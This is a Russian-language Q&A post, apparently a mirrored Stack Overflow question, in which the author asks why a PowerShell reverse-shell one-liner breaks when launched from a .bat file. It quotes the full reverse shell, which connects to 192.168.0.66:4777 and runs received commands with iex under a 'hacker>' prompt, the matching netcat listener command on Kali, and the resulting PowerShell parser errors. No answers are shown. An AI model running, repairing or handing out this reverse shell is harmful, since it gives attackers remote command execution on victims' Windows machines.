Выполнить PowerShell как командный файл - PullRequest
0 голосов
/ 10 января 2019

Я пытаюсь запустить приведенную ниже команду PowerShell обратной оболочки, используя файл .bat.

powershell /w 1 "$c=new-object system.net.sockets.tcpclient('192.168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'hacker> ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()"

Сначала я запускаю слушателя netcat в Kali:

nc -vv -l -p 4777

Затем я запускаю команду PowerShell, но в Windows 10 появляется следующая ошибка:

    At line:1 char:112
    + ... 168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|:ASCII).GetByte ...
    +                                                                 ~
    Unexpected token ')' in expression or statement.
    At line:1 char:160
    + ... 65535|:ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.clos ...
    +                                                                 ~
    Unexpected token '}' in expression or statement.
        + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
        + FullyQualifiedErrorId : UnexpectedToken

Я перепробовал множество возможных комбинаций ', " и `` ` и , как в самой команде, так и внутри нее. Я в полном замешательстве.

...